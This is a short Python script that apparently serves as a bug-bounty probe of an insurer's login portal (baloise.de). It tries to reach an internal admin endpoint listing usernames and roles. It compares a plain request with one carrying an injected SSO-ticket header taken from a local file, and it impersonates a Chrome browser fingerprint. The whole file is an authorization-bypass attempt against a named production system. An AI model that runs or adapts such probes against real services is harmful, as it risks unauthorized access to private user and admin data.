#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["curl-cffi>=0.15.0"]
# ///
from curl_cffi import requests
from pathlib import Path
import json
from urllib.parse import quote
base='https://mein-portal.baloise.de/auth'
ticket=Path('work/scratch/esp-su.txt').read_text().strip()
location='https://gwde.baloise.de/pc/rest/admin/v1/users/default_data:1?fields=username,active,displayName,roles'
variants=[('control',{}),('iam',{'X-IAM-SSO-Ticket':ticket})]
for name,extra in variants:
 s=requests.Session(impersonate='chrome')
 ident={'X-Bug-Bounty':'dwbzn'}
 r=s.get(base+'/ui/app/auth/application/access?Location='+quote(location,safe=''),headers=ident,timeout=20)
 csrf=s.cookies.get('CSRFT759-S') or ''
 h={**ident,'Accept':'application/json, application/vnd.api+json','Content-Type':'application/json','X-Same-Domain':'1','X-CSRFT759':csrf,**extra}
 r=s.post(base+'/rest/public/authentication/location/access',headers=h,json={'location':location},timeout=20)
 print(json.dumps({'name':name,'status':r.status_code,'len':len(r.content),'exchange':getattr(r,'toadex_exchange_id',None),'location':r.headers.get('location'),'next':(r.json().get('meta',{}).get('nextAuthStep') if 'json' in r.headers.get('content-type','') else None),'preview':r.text[:180]},ensure_ascii=False))